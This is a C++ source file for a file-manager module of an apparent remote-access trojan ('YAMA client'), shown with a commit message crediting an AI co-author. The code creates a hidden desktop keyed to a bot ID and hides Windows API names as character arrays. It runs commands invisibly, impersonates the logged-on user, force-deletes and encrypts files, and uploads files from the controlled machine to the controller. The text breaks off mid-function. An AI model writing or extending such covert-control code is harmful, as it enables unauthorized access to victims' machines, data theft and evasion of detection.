Files
yuanyuanxianganddeepseek-v4-pro 2c3e1ca518 Feature: Migrate SimplePlugins file management (文件管理迁移)
Migrate the SimplePlugins file-management feature into the YAMA client as an
experimental feature. The migrated CFileManager, MasterEncoder and Info-Zip
sources live under client/file/ and are isolated in the SimplePluginsFile
namespace to avoid clashing with the native FileManager class.

Add COMMAND_FILE_MANAGER_PLUGIN (163) and LoopFileManagerPlugin, spawned as
a sub-connection from KernelManager. Add an "实验功能" submenu with a
"文件管理" entry above "客户管理" in the online-hosts right-click menu,
routed via OnExperimentFileManager to the existing TOKEN_DRIVE_LIST_PLUGIN
dialog path.

Co-Authored-By: deepseek-v4-pro
2026-10-05 10:09:26 +02:00

1802 lines
62 KiB
C++

// FileManager.cpp: implementation of the CFileManager class.
//
//////////////////////////////////////////////////////////////////////
#include "StdAfx.h"
#include "FileManager.h"
#include <lmcons.h>
#include <ShlObj.h>
#include <shellapi.h>
#include <Shlwapi.h>
#include <ole2.h>
#include <objbase.h>
#include <atlimage.h> //BMP2JPEG
namespace SimplePluginsFile {
FARPROC MyGetProcAddressA(LPCSTR lpFileName, LPCSTR lpProcName)
{
HMODULE hModule;
hModule = GetModuleHandleA(lpFileName);
if (hModule == NULL)
hModule = LoadLibraryA(lpFileName);
if (hModule != NULL)
return GetProcAddress(hModule, lpProcName);
else
return NULL;
}
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CFileManager::CFileManager(ISocketBase* pClient, int n, void* user) :CManager(pClient)
{
const char* sign = "master";
m_encoder.setSignAndKey((char*)sign, (int)strlen(sign), 100);
memset(g_desktopName, 0, sizeof(g_desktopName));
GetBotId(g_desktopName);
g_hDesk = OpenDesktop(g_desktopName, 0, TRUE, GENERIC_ALL);
if (!g_hDesk)
g_hDesk = CreateDesktop(g_desktopName, NULL, NULL, 0, GENERIC_ALL, NULL);
SetThreadDesktop(g_hDesk);
lpSendPacket = (LPBYTE)LocalAlloc(LPTR, MAX_SEND_BUFFER);
m_bIsWow64 = FALSE;
IsWow64Process(GetCurrentProcess(), &m_bIsWow64);
m_hFileSend = INVALID_HANDLE_VALUE;
m_hFileRecv = INVALID_HANDLE_VALUE;
m_nTransferMode = TRANSFER_MODE_NORMAL;
benofrce = false;
copyfile = NULL;
m_hWorkThread = NULL;
bIsStopSearch = FALSE;
m_hWorkZIPThread = NULL;
bIsStopZIP = FALSE;
zippath_t = NULL;
c_pathname = new char[MAX_PATH * 4];
// 发送驱动器列表, 开始进行文件管理,建立新线程
SendDriveList();
}
CFileManager::~CFileManager()
{
m_UploadList.clear();
if (m_hFileSend != INVALID_HANDLE_VALUE) {
CloseHandle(m_hFileSend);
m_hFileSend = INVALID_HANDLE_VALUE;
}
if (m_hFileRecv != INVALID_HANDLE_VALUE) {
CloseHandle(m_hFileRecv);
m_hFileRecv = INVALID_HANDLE_VALUE;
}
LocalFree(lpSendPacket);
SAFE_DELETE_AR(c_pathname);
}
void CFileManager::OnReceive(LPBYTE lpBuffer, ULONG nSize)
{
if (lpBuffer[0] == TOKEN_HEARTBEAT) return;
PVOID OldValue = NULL;
BOOL bRevert = FALSE;
if (m_bIsWow64) {
char AjrFx[] = { 'K','E','R','N','E','L','3','2','.','d','l','l','\0' };
char xTfkA[] = { 'W','o','w','6','4','D','i','s','a','b','l','e','W','o','w','6','4','F','s','R','e','d','i','r','e','c','t','i','o','n','\0' };
typedef BOOL(WINAPI* Wow64DisableWow64FsRedirectionT)(PVOID* OldValue);
Wow64DisableWow64FsRedirectionT pWow64DisableWow64FsRedirection = (Wow64DisableWow64FsRedirectionT)MyGetProcAddressA(AjrFx, xTfkA);
if (pWow64DisableWow64FsRedirection)
bRevert = pWow64DisableWow64FsRedirection(&OldValue);
}
switch (lpBuffer[0]) {
case COMMAND_LIST_FILES: // 获取磁盘列表(文件列表)
SendFilesList((TCHAR*)(lpBuffer + 1));
break;
case COMMAND_DELETE_FILE: { // 被控端删除单个文件
if (benofrce) {
FnDelPathFile((TCHAR*)(lpBuffer + 1));
} else {
DeleteFile((TCHAR*)(lpBuffer + 1));
}
SendToken(TOKEN_DELETE_FINISH);
}
break;
case COMMAND_DELETE_DIRECTORY: // 被控端删除整个文件夹
DeleteDirectory((TCHAR*)(lpBuffer + 1));
SendToken(TOKEN_DELETE_FINISH);
break;
case COMMAND_DOWN_FILES: // 上传文件, 对于控制端来说是下载文件, 控制端仅创建文件(空文件)
UploadToRemote(lpBuffer + 1);
break;
case COMMAND_CONTINUE: // 上传数据, 对于控制端来说是下载数据, 控制端将保存数据到之前创建的空文件
SendFileData(lpBuffer + 1);
break;
case COMMAND_CREATE_FOLDER: // 被控端创建一个空的文件夹
CreateFolder(lpBuffer + 1);
break;
case COMMAND_RENAME_FILE: // 被控端重命名文件夹(文件)
Rename(lpBuffer + 1);
break;
case COMMAND_STOP: // 此处特殊
StopTransfer(*&lpBuffer[1]);
break;
case COMMAND_SET_TRANSFER_MODE: // 下载文件(对于控制端来说是上传文件)时的传输模式, 包含覆盖继传跳过等
SetTransferMode(lpBuffer + 1);
break;
case COMMAND_FILE_SIZE: // 下载文件, 对于控制端来说是上传文件, 被控端仅创建文件(空文件)
CreateLocalRecvFile(lpBuffer + 1);
break;
case COMMAND_FILE_DATA: // 下载数据, 对于控制端来说是上传数据, 被控端将保存数据到之前创建的空文件
WriteLocalRecvFile(lpBuffer + 1, nSize - 1);
break;
case COMMAND_OPEN_FILE_SHOW: { // 被控端以可见方式打开指定的文件(目录)
ShellExecute(NULL, _T("open"), (TCHAR*)(lpBuffer + 2), NULL, NULL, SW_SHOW);
}
break;
case COMMAND_OPEN_FILE_HIDE: { // 被控端以隐藏方式打开指定的文件(目录)
TCHAR path[MAX_PATH] = { 0 };
lstrcat(path, _T("cmd.exe /c start "));
lstrcat(path, (TCHAR*)(lpBuffer + 2));
STARTUPINFO startupInfo = { 0 };
startupInfo.cb = sizeof(startupInfo);
startupInfo.lpDesktop = g_desktopName;
PROCESS_INFORMATION processInfo = { 0 };
CreateProcess(NULL, path, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
}
break;
case COMMAND_COMPRESS_FILE_PARAM: // 被控端用(WinRAR)压缩或解压指定的文件(目录)
ExeCompress(lpBuffer + 1);
break;
case COMMAND_SEARCH_FILE:
if (bIsStopSearch == TRUE)
return;
SendSearchFilesList((TCHAR*)(lpBuffer + 1));
break;
case COMMAND_FILES_SEARCH_STOP:
StopSearchTheard();
SendToken(TOKEN_SEARCH_FILE_FINISH);
break;
case COMMAND_FILE_GETNETHOOD:
Sleep(150);
SendNetHood();
break;
case COMMAND_FILE_RECENT: {
TCHAR szPath[MAX_PATH];
::SHGetSpecialFolderPath(NULL, szPath, CSIDL_RECENT, FALSE);
int ilen = lstrlen(szPath) * sizeof(TCHAR) + 3;
BYTE* pBuffer = new BYTE[ilen];
ZeroMemory(pBuffer, ilen);
pBuffer[0] = TOKEN_FILE_RECENT;
memcpy(pBuffer + 1, szPath, lstrlen(szPath) * sizeof(TCHAR));
Send(pBuffer, ilen);
SAFE_DELETE_AR(pBuffer);
}
break;
case COMMAND_FILE_INFO: {
TCHAR* outpath = new TCHAR[MAX_PATH];
ZeroMemory(outpath, sizeof(outpath));
getLnkFormPath((TCHAR*)(lpBuffer + 1), outpath);
int ilen = lstrlen(outpath) * sizeof(TCHAR) + 3;
BYTE* pBuffer = new BYTE[ilen];
ZeroMemory(pBuffer, ilen);
pBuffer[0] = TOKEN_FILE_INFO;
memcpy(pBuffer + 1, outpath, lstrlen(outpath) * sizeof(TCHAR));
Send(pBuffer, ilen);
SAFE_DELETE_AR(outpath);
SAFE_DELETE_AR(pBuffer);
}
break;
case COMMAND_FILE_Encryption: {
encfile((char*)(lpBuffer + 1));
SendToken(TOKEN_FILE_REFRESH);
}
break;
case COMMAND_FILE_Decrypt: {
decryptfile((char*)(lpBuffer + 1));
SendToken(TOKEN_FILE_REFRESH);
}
break;
case COMMAND_FILE_CopyFile: {
if (nSize < 2)
return;
SAFE_DELETE_AR(copyfile);
copyfile = (TCHAR*)(new byte[nSize - 1]);
memcpy(copyfile, (char*)(lpBuffer + 1), nSize - 1);
}
break;
case COMMAND_FILE_PasteFile: {
if (nSize > (MAX_PATH * 2 - 10))
return;
if (!copyfile) return;
TCHAR* copynewfile = new TCHAR[MAX_PATH * 2];
ZeroMemory(copynewfile, MAX_PATH * 2 * 2);
memcpy(copynewfile, (char*)(lpBuffer + 1), nSize - 1);
std::string input = copyfile;
std::stringstream ss(input);
std::string token;
int num = 0;
int pathlen = 0;
TCHAR* tempath = NULL;
TCHAR* copynewfile_name = new TCHAR[MAX_PATH * 2];
while (std::getline(ss, token, _T('|'))) {
token += _T('\0');
tempath = (TCHAR*)token.c_str();
std::string str = tempath;
int num = 0;
size_t fi = str.find_last_of(_T("\\"));
if (fi == str.npos)
continue;
ZeroMemory(copynewfile_name, MAX_PATH * 2 * 2);
memcpy(copynewfile_name, copynewfile, lstrlen(copynewfile) * 2);
memcpy(copynewfile_name + lstrlen(copynewfile), tempath + fi + 1, (lstrlen(tempath) - fi) * 2);
std::string TEM = copynewfile_name;
TEM += _T('\0');
DWORD dwAttr = GetFileAttributes(tempath);
if (INVALID_FILE_ATTRIBUTES == dwAttr) {
}
if (dwAttr & FILE_ATTRIBUTE_DIRECTORY) {
DWORD dwnewAttr = GetFileAttributes(copynewfile_name);
if (INVALID_FILE_ATTRIBUTES != dwnewAttr) {
DWORD ti = ::timeGetTime();
wsprintf(copynewfile_name, _T("%s%d"), copynewfile_name, ti);
TEM = copynewfile_name;
TEM += _T('\0');
}
SHFILEOPSTRUCT fop = { 0 };
fop.fFlags = FOF_SILENT | FOF_NOERRORUI | FOF_NOCONFIRMMKDIR | FOF_RENAMEONCOLLISION;
fop.wFunc = FO_COPY;//选择执行类型,FO_COPY,FO_DELETE,FO_RENAME,FO_MOVE四种
fop.pFrom = tempath;//如:D:\*.txt
fop.pTo = TEM.c_str();//D:\test
SHFileOperation(&fop);
} else {
if (!CopyFile(tempath, copynewfile_name, true)) {
DWORD ti = ::timeGetTime();
wsprintf(copynewfile_name, _T("%s%d"), copynewfile_name, ti);
CopyFile(tempath, copynewfile_name, false);
}
}
}
SAFE_DELETE_AR(copynewfile_name);
SAFE_DELETE_AR(copynewfile);
SendToken(TOKEN_FILE_REFRESH);
}
break;
case COMMAND_FILE_zip: {
if (bIsStopZIP == TRUE)
return;
if (nSize > 1) {
zippath_t = new TCHAR[nSize - 1];
memcpy(zippath_t, lpBuffer + 1, nSize);
StartZIP();
}
}
break;
case COMMAND_FILE_zip_stop: {
StopZIPTheard();
}
break;
case COMMAND_FILE_ENFOCE: {
benofrce = true;
}
break;
case COMMAND_FILE_NO_ENFORCE: {
benofrce = false;
}
break;
case COMMAND_FILE_GETINFO: {
TCHAR* filename = (TCHAR*)(lpBuffer + 1);
std::string str = filename;
int num = 0;
size_t fi = str.find_last_of(_T("."));
if (fi == str.npos)
return;
TCHAR* copynewfile_name = new TCHAR[MAX_PATH * 2];
memcpy(copynewfile_name, filename + fi + 1, (lstrlen(filename) - fi) * 2);
SendFileInfo(filename, copynewfile_name);
SAFE_DELETE_AR(copynewfile_name);
}
break;
case COMMAND_FILE_SEARCHPLUS_LIST: {
SendSearchData(lpBuffer + 1);
}
break;
default:
break;
}
if (bRevert) {
char VjrFx[] = { 'K','E','R','N','E','L','3','2','.','d','l','l','\0' };
char xTfkV[] = { 'W','o','w','6','4','R','e','v','e','r','t','W','o','w','6','4','F','s','R','e','d','i','r','e','c','t','i','o','n','\0' };
typedef BOOL(WINAPI* Wow64RevertWow64FsRedirectionT)(PVOID OldValue);
Wow64RevertWow64FsRedirectionT pWow64RevertWow64FsRedirection = (Wow64RevertWow64FsRedirectionT)MyGetProcAddressA(VjrFx, xTfkV);
if (pWow64RevertWow64FsRedirection)
pWow64RevertWow64FsRedirection(OldValue);
}
}
bool CFileManager::MakeSureDirectoryPathExists(LPCTSTR pszDirPath)
{
LPTSTR p, pszDirCopy = NULL;
DWORD dwAttributes;
// Make a copy of the string for editing.
__try {
pszDirCopy = (LPTSTR)malloc(sizeof(TCHAR) * (lstrlen(pszDirPath) + 1));
if (pszDirCopy == NULL)
return FALSE;
lstrcpy(pszDirCopy, pszDirPath);
p = pszDirCopy;
// If the second character in the path is "\", then this is a UNC
// path, and we should skip forward until we reach the 2nd \ in the path.
if ((*p == TEXT('\\')) && (*(p + 1) == TEXT('\\'))) {
p++; // Skip over the first \ in the name.
p++; // Skip over the second \ in the name.
// Skip until we hit the first "\" (\\Server\).
while (*p && *p != TEXT('\\')) {
p = CharNext(p);
}
// Advance over it.
if (*p) {
p++;
}
// Skip until we hit the second "\" (\\Server\Share\).
while (*p && *p != TEXT('\\')) {
p = CharNext(p);
}
// Advance over it also.
if (*p) {
p++;
}
} else if (*(p + 1) == TEXT(':')) { // Not a UNC. See if it's <drive>:
p++;
p++;
// If it exists, skip over the root specifier
if (*p && (*p == TEXT('\\'))) {
p++;
}
}
while (*p) {
if (*p == TEXT('\\')) {
*p = TEXT('\0');
dwAttributes = GetFileAttributes(pszDirCopy);
// Nothing exists with this name. Try to make the directory name and error if unable to.
if (dwAttributes == 0xffffffff) {
if (!CreateDirectory(pszDirCopy, NULL)) {
if (GetLastError() != ERROR_ALREADY_EXISTS) {
free(pszDirCopy);
return FALSE;
}
}
} else {
if ((dwAttributes & FILE_ATTRIBUTE_DIRECTORY) != FILE_ATTRIBUTE_DIRECTORY) {
// Something exists with this name, but it's not a directory... Error
free(pszDirCopy);
return FALSE;
}
}
*p = TEXT('\\');
}
p = CharNext(p);
}
} __except (EXCEPTION_EXECUTE_HANDLER) {
free(pszDirCopy);
return FALSE;
}
free(pszDirCopy);
return TRUE;
}
BOOL CFileManager::OpenFile(LPCTSTR lpFile, INT nShowCmd)
{
TCHAR lpSubKey[500];
HKEY hKey;
TCHAR strTemp[MAX_PATH];
LONG nSize = sizeof(strTemp);
TCHAR* lpstrCat = NULL;
memset(strTemp, 0, sizeof(strTemp));
TCHAR* lpExt = (TCHAR*)_tcschr(lpFile, _T('.'));
if (!lpExt)
return false;
if (RegOpenKeyEx(HKEY_CLASSES_ROOT, lpExt, 0L, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
return false;
RegQueryValue(hKey, NULL, strTemp, &nSize);
RegCloseKey(hKey);
memset(lpSubKey, 0, sizeof(lpSubKey));
wsprintf(lpSubKey, _T("%s\\shell\\open\\command"), strTemp);
if (RegOpenKeyEx(HKEY_CLASSES_ROOT, lpSubKey, 0L, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
return false;
memset(strTemp, 0, sizeof(strTemp));
nSize = sizeof(strTemp);
RegQueryValue(hKey, NULL, strTemp, &nSize);
RegCloseKey(hKey);
TCHAR str175914[] = { _T('\"'),_T('%'),_T('1'),_T('\0') };
TCHAR str175947[] = { _T('%'),_T('1'),_T('\0') };
lpstrCat = _tcsstr(strTemp, str175914);
if (lpstrCat == NULL)
lpstrCat = _tcsstr(strTemp, str175947);
if (lpstrCat == NULL) {
lstrcat(strTemp, _T(" "));
lstrcat(strTemp, lpFile);
} else
lstrcpy(lpstrCat, lpFile);
STARTUPINFO si = { 0 };
PROCESS_INFORMATION pi;
si.cb = sizeof si;
TCHAR str142919[] = { _T('W'),_T('i'),_T('n'),_T('S'),_T('t'),_T('a'),_T('0'),_T('\\'),_T('D'),_T('e'),_T('f'),_T('a'),_T('u'),_T('l'),_T('t'),_T('\0') };
if (nShowCmd != SW_HIDE)
si.lpDesktop = str142919;
return (BOOL)CreateProcess(NULL, strTemp, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
}
HANDLE CFileManager::ImpersonateLoggedOnUserWrapper()
{
char iOagR[] = { _T('K'),_T('E'),_T('R'),_T('N'),_T('E'),_T('L'),_T('3'),_T('2'),_T('.'),_T('d'),_T('l'),_T('l'),_T('\0') };
char wSuTs[] = { _T('W'),_T('T'),_T('S'),_T('G'),_T('e'),_T('t'),_T('A'),_T('c'),_T('t'),_T('i'),_T('v'),_T('e'),_T('C'),_T('o'),_T('n'),_T('s'),_T('o'),_T('l'),_T('e'),_T('S'),_T('e'),_T('s'),_T('s'),_T('i'),_T('o'),_T('n'),_T('I'),_T('d'),_T('\0') };
typedef DWORD(WINAPI* WTSGetActiveConsoleSessionIdT)(void);
WTSGetActiveConsoleSessionIdT pWTSGetActiveConsoleSessionId = (WTSGetActiveConsoleSessionIdT)MyGetProcAddressA(iOagR, wSuTs);
char oIksN[] = { _T('W'),_T('T'),_T('S'),_T('A'),_T('P'),_T('I'),_T('3'),_T('2'),_T('.'),_T('d'),_T('l'),_T('l'),_T('\0') };
char xAsDm[] = { _T('W'),_T('T'),_T('S'),_T('Q'),_T('u'),_T('e'),_T('r'),_T('y'),_T('U'),_T('s'),_T('e'),_T('r'),_T('T'),_T('o'),_T('k'),_T('e'),_T('n'),_T('\0') };
typedef BOOL(WINAPI* WTSQueryUserTokenT)(ULONG SessionId, PHANDLE phToken);
WTSQueryUserTokenT pWTSQueryUserToken = (WTSQueryUserTokenT)MyGetProcAddressA(oIksN, xAsDm);
char AjrFx[] = { _T('A'),_T('D'),_T('V'),_T('A'),_T('P'),_T('I'),_T('3'),_T('2'),_T('.'),_T('d'),_T('l'),_T('l'),_T('\0') };
char kbCfr[] = { _T('I'),_T('m'),_T('p'),_T('e'),_T('r'),_T('s'),_T('o'),_T('n'),_T('a'),_T('t'),_T('e'),_T('L'),_T('o'),_T('g'),_T('g'),_T('e'),_T('d'),_T('O'),_T('n'),_T('U'),_T('s'),_T('e'),_T('r'),_T('\0') };
typedef BOOL(WINAPI* ImpersonateLoggedOnUserT)(HANDLE hToken);
ImpersonateLoggedOnUserT pImpersonateLoggedOnUser = (ImpersonateLoggedOnUserT)MyGetProcAddressA(AjrFx, kbCfr);
HANDLE hToken = NULL;
if (pWTSGetActiveConsoleSessionId && pWTSQueryUserToken && pImpersonateLoggedOnUser) {
DWORD dwConsoleSessionId = pWTSGetActiveConsoleSessionId();
if (pWTSQueryUserToken(dwConsoleSessionId, &hToken)) {
return hToken;
}
}
return NULL;
}
UINT CFileManager::SendDriveList()
{
TCHAR DriveString[256];
// 前一个字节为令牌,后面的52字节为驱动器跟相关属性
BYTE DriveList[2048];
TCHAR FileSystem[MAX_PATH];
TCHAR* pDrive = NULL;
TCHAR szUserName[UNLEN + 1];
DWORD dwUserLen = UNLEN;
DriveList[0] = TOKEN_DRIVE_LIST_PLUGIN; // 驱动器列表
GetLogicalDriveStrings(sizeof(DriveString), DriveString);
pDrive = DriveString;
unsigned __int64 HDAmount = 0;
unsigned __int64 HDFreeSpace = 0;
int AmntMB = 0; // 总大小
int FreeMB = 0; // 剩余空间
GetUserName(szUserName, &dwUserLen);
if (_tcscmp(szUserName, _T("SYSTEM")) == 0)
DriveList[1] = TRUE;
else
DriveList[1] = FALSE;
HANDLE hTokenAcsi = ImpersonateLoggedOnUserWrapper();
SHGetFolderPath(NULL, CSIDL_DESKTOPDIRECTORY, hTokenAcsi, SHGFP_TYPE_CURRENT, (TCHAR*)&DriveList[2]);
CloseHandle(hTokenAcsi);
DWORD dwOffset = 0;
for (dwOffset = 1 + 1 + (lstrlen((TCHAR*)&DriveList[2]) + 1) * sizeof(TCHAR); *pDrive != _T('\0'); pDrive += lstrlen(pDrive) + 1) {
memset(FileSystem, 0, sizeof(FileSystem));
// 得到文件系统信息及大小
GetVolumeInformation(pDrive, NULL, 0, NULL, NULL, NULL, FileSystem, MAX_PATH);
SHFILEINFO sfi;
SHGetFileInfo(pDrive, FILE_ATTRIBUTE_NORMAL, &sfi, sizeof(SHFILEINFO), SHGFI_TYPENAME | SHGFI_USEFILEATTRIBUTES);
int nTypeNameLen = (lstrlen(sfi.szTypeName) + 1) * sizeof(TCHAR);
int nFileSystemLen = (lstrlen(FileSystem) + 1) * sizeof(TCHAR);
// 计算磁盘大小
if (pDrive[0] != _T('A') && pDrive[0] != _T('B') && GetDiskFreeSpaceEx(pDrive, (PULARGE_INTEGER)&HDFreeSpace, (PULARGE_INTEGER)&HDAmount, NULL)) {
AmntMB = (int)(HDAmount / 1024 / 1024);
FreeMB = (int)(HDFreeSpace / 1024 / 1024);
} else {
AmntMB = 0;
FreeMB = 0;
}
// 开始赋值
DriveList[dwOffset] = ((BYTE*)(pDrive))[0];
DriveList[dwOffset + 1] = 0x00;
DriveList[dwOffset + 2] = GetDriveType(pDrive);
DriveList[dwOffset + 3] = 0x00;
// 磁盘空间描述占去了8字节
::memcpy(DriveList + dwOffset + 4, &AmntMB, sizeof(int));
::memcpy(DriveList + dwOffset + 8, &FreeMB, sizeof(int));
// 磁盘卷标名及磁盘类型
::memcpy(DriveList + dwOffset + 12, sfi.szTypeName, nTypeNameLen);
::memcpy(DriveList + dwOffset + 12 + nTypeNameLen, FileSystem, nFileSystemLen);
dwOffset += 12 + nTypeNameLen + nFileSystemLen;
}
return Send((LPBYTE)DriveList, dwOffset);
}
UINT CFileManager::SendFilesList(TCHAR* lpszDirectory)
{
// 重置传输方式
m_nTransferMode = TRANSFER_MODE_NORMAL;
UINT nRet = 0;
TCHAR strPath[MAX_PATH];
const TCHAR* lpszSlash = NULL;
TCHAR* pszFileName = NULL;
LPBYTE lpList = NULL;
HANDLE hFile;
DWORD dwOffset = 0; // 位移指针
int nLen = 0;
DWORD nBufferSize = 1024 * 10; // 先分配10K的缓冲区
WIN32_FIND_DATA FindFileData;
if (lpszDirectory[lstrlen(lpszDirectory) - 1] != '\\')
lpszSlash = _T("\\");
else
lpszSlash = _T("");
TCHAR str_last[] = { _T('%'),_T('s'),_T('%'),_T('s'),_T('*'),_T('.'),_T('*'),_T('\0') };
wsprintf(strPath, str_last, lpszDirectory, lpszSlash);
hFile = FindFirstFile(strPath, &FindFileData);
if (hFile == INVALID_HANDLE_VALUE) {
BYTE bToken = TOKEN_FILE_LIST;
return Send(&bToken, 1);
}
lpList = (BYTE*)LocalAlloc(LPTR, nBufferSize);
*lpList = TOKEN_FILE_LIST;
// 1 为数据包头部所占字节,最后赋值
dwOffset = 1;
/*
文件属性 1
文件名 strlen(filename) + 1 ('\0')
文件大小 4
*/
do {
// 动态扩展缓冲区
if (dwOffset > (nBufferSize - MAX_PATH * 2)) {
nBufferSize += MAX_PATH * 2;
lpList = (BYTE*)LocalReAlloc(lpList, nBufferSize, LMEM_ZEROINIT | LMEM_MOVEABLE);
}
pszFileName = FindFileData.cFileName;
if (_tcscmp(pszFileName, _T(".")) == 0 || _tcscmp(pszFileName, _T("..")) == 0)
continue;
// 文件属性 1 字节
*(lpList + dwOffset) = FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY;
dwOffset++;
// 文件名 lstrlen(pszFileName) + 1 字节
nLen = (lstrlen(pszFileName) + 1) * sizeof(TCHAR);
::memcpy(lpList + dwOffset, pszFileName, nLen);
dwOffset += nLen;
// 文件大小 8 字节
::memcpy(lpList + dwOffset, &FindFileData.nFileSizeHigh, sizeof(DWORD));
::memcpy(lpList + dwOffset + 4, &FindFileData.nFileSizeLow, sizeof(DWORD));
dwOffset += 8;
// 最后访问时间 8 字节
::memcpy(lpList + dwOffset, &FindFileData.ftLastWriteTime, sizeof(FILETIME));
dwOffset += 8;
} while (FindNextFile(hFile, &FindFileData));
nRet = Send(lpList, dwOffset);
LocalFree(lpList);
FindClose(hFile);
return nRet;
}
bool CFileManager::DeleteDirectory(LPCTSTR lpszDirectory)
{
WIN32_FIND_DATA wfd;
TCHAR lpszFilter[MAX_PATH];
const TCHAR* lpszSlash = NULL;
memset(lpszFilter, 0, sizeof(lpszFilter));
if (lpszDirectory[lstrlen(lpszDirectory) - 1] != _T('\\'))
lpszSlash = _T("\\");
else
lpszSlash = _T("");
TCHAR str18114[] = { _T('%'),_T('s'),_T('%'),_T('s'),_T('*'),_T('.'),_T('*'),_T('\0') };
wsprintf(lpszFilter, str18114, lpszDirectory, lpszSlash);
HANDLE hFind = FindFirstFile(lpszFilter, &wfd);
if (hFind == INVALID_HANDLE_VALUE) // 如果没有找到或查找失败
return false;
TCHAR str18046[] = { _T('%'),_T('s'),_T('%'),_T('s'),_T('%'),_T('s'),_T('\0') };
do {
if (wfd.cFileName[0] != _T('.')) {
if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
TCHAR strDirectory[MAX_PATH];
wsprintf(strDirectory, str18046, lpszDirectory, lpszSlash, wfd.cFileName);
DeleteDirectory(strDirectory);
} else {
TCHAR strFile[MAX_PATH];
wsprintf(strFile, str18046, lpszDirectory, lpszSlash, wfd.cFileName);
if (wfd.dwFileAttributes & FILE_ATTRIBUTE_READONLY)
SetFileAttributes(strFile, FILE_ATTRIBUTE_NORMAL);
if (benofrce) {
FnDelPathFile(strFile);
} else {
DeleteFile(strFile);
}
}
}
} while (FindNextFile(hFind, &wfd));
FindClose(hFind); // 关闭查找句柄
if (!RemoveDirectory(lpszDirectory)) {
return false;
}
return true;
}
UINT CFileManager::SendFileSize(LPCTSTR lpszFileName)
{
UINT nRet = 0;
DWORD dwSizeHigh;
DWORD dwSizeLow;
BOOL error;
// 保存当前正在操作的文件名
memset(m_strCurrentProcessFileName, 0, sizeof(m_strCurrentProcessFileName));
_tcscpy_s(m_strCurrentProcessFileName, lpszFileName);
if (m_hFileSend != INVALID_HANDLE_VALUE)
CloseHandle(m_hFileSend);
m_hFileSend = CreateFile(lpszFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if (m_hFileSend == INVALID_HANDLE_VALUE) {
error = FALSE;
} else {
error = TRUE;
}
dwSizeLow = GetFileSize(m_hFileSend, &dwSizeHigh);
// 构造数据包,发送文件长度(1字节token, 8字节大小, 文件名称, '\0')
int nPacketSize = (lstrlen(lpszFileName) + 1) * sizeof(TCHAR) + 9;
BYTE* bPacket = (BYTE*)LocalAlloc(LPTR, nPacketSize);
memset(bPacket, 0, nPacketSize);
bPacket[0] = TOKEN_FILE_SIZE;
FILESIZE* pFileSize = (FILESIZE*)(bPacket + 1);
pFileSize->dwSizeHigh = dwSizeHigh;
pFileSize->dwSizeLow = dwSizeLow;
pFileSize->error = error;
::memcpy(bPacket + 9, lpszFileName, (lstrlen(lpszFileName) + 1) * sizeof(TCHAR));
nRet = Send(bPacket, nPacketSize);
LocalFree(bPacket);
return nRet;
}
void CFileManager::SendFileData(LPBYTE lpBuffer)
{
FILESIZE* pFileSize;
TCHAR* lpFileName;
pFileSize = (FILESIZE*)lpBuffer;
lpFileName = m_strCurrentProcessFileName;
// 远程跳过,传送下一个
if (pFileSize->dwSizeHigh == -1 && pFileSize->dwSizeLow == -1) {
UploadNext();
return;
}
SetFilePointer(m_hFileSend, pFileSize->dwSizeLow, (long*)&(pFileSize->dwSizeHigh), FILE_BEGIN);
int nHeadLength = 9; // 1 + 4 + 4数据包头部大小
DWORD nNumberOfBytesToRead = MAX_SEND_BUFFER - nHeadLength;
DWORD nNumberOfBytesRead = 0;
// Token, 大小,偏移,文件名,数据
lpSendPacket[0] = TOKEN_FILE_DATA;
::memcpy(lpSendPacket + 1, pFileSize, sizeof(FILESIZE));
ReadFile(m_hFileSend, lpSendPacket + nHeadLength, nNumberOfBytesToRead, &nNumberOfBytesRead, NULL);
if (nNumberOfBytesRead > 0) {
int nPacketSize = nNumberOfBytesRead + nHeadLength;
Send(lpSendPacket, nPacketSize);
} else {
UploadNext();
}
}
// 传送下一个文件
void CFileManager::UploadNext()
{
if (m_hFileSend != INVALID_HANDLE_VALUE) {
CloseHandle(m_hFileSend);
m_hFileSend = INVALID_HANDLE_VALUE;
}
std::list <std::string>::iterator it = m_UploadList.begin();
// 删除一个任务
m_UploadList.erase(it);
// 还有上传任务
if (m_UploadList.empty()) {
SendToken(TOKEN_TRANSFER_FINISH);
} else {
// 上传下一个
it = m_UploadList.begin();
SendFileSize((*it).c_str());
}
}
int CFileManager::SendToken(BYTE bToken)
{
return Send(&bToken, 1);
}
bool CFileManager::UploadToRemote(LPBYTE lpBuffer)
{
if (lpBuffer[lstrlen((TCHAR*)lpBuffer) * sizeof(TCHAR) - sizeof(TCHAR)] == _T('\\')) {
FixedUploadList((TCHAR*)lpBuffer);
if (m_UploadList.empty()) {
StopTransfer(TRUE);
return true;
}
} else {
m_UploadList.push_back((TCHAR*)lpBuffer);
}
std::list <std::string>::iterator it = m_UploadList.begin();
// 发送第一个文件
SendFileSize((*it).c_str());
return true;
}
bool CFileManager::FixedUploadList(LPCTSTR lpPathName)
{
WIN32_FIND_DATA wfd;
TCHAR lpszFilter[MAX_PATH];
const TCHAR* lpszSlash = NULL;
memset(lpszFilter, 0, sizeof(lpszFilter));
if (lpPathName[lstrlen(lpPathName) - 1] != _T('\\'))
lpszSlash = _T("\\");
else
lpszSlash = _T("");
TCHAR str18114[] = { _T('%'),_T('s'),_T('%'),_T('s'),_T('*'),_T('.'),_T('*'),_T('\0') };
wsprintf(lpszFilter, str18114, lpPathName, lpszSlash);
HANDLE hFind = FindFirstFile(lpszFilter, &wfd);
if (hFind == INVALID_HANDLE_VALUE) // 如果没有找到或查找失败
return false;
TCHAR str18046[] = { _T('%'),_T('s'),_T('%'),_T('s'),_T('%'),_T('s'),_T('\0') };
do {
if (wfd.cFileName[0] != _T('.')) {
if (wfd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
TCHAR strDirectory[MAX_PATH];
wsprintf(strDirectory, str18046, lpPathName, lpszSlash, wfd.cFileName);
FixedUploadList(strDirectory);
} else {
TCHAR strFile[MAX_PATH];
wsprintf(strFile, str18046, lpPathName, lpszSlash, wfd.cFileName);
m_UploadList.push_back(strFile);
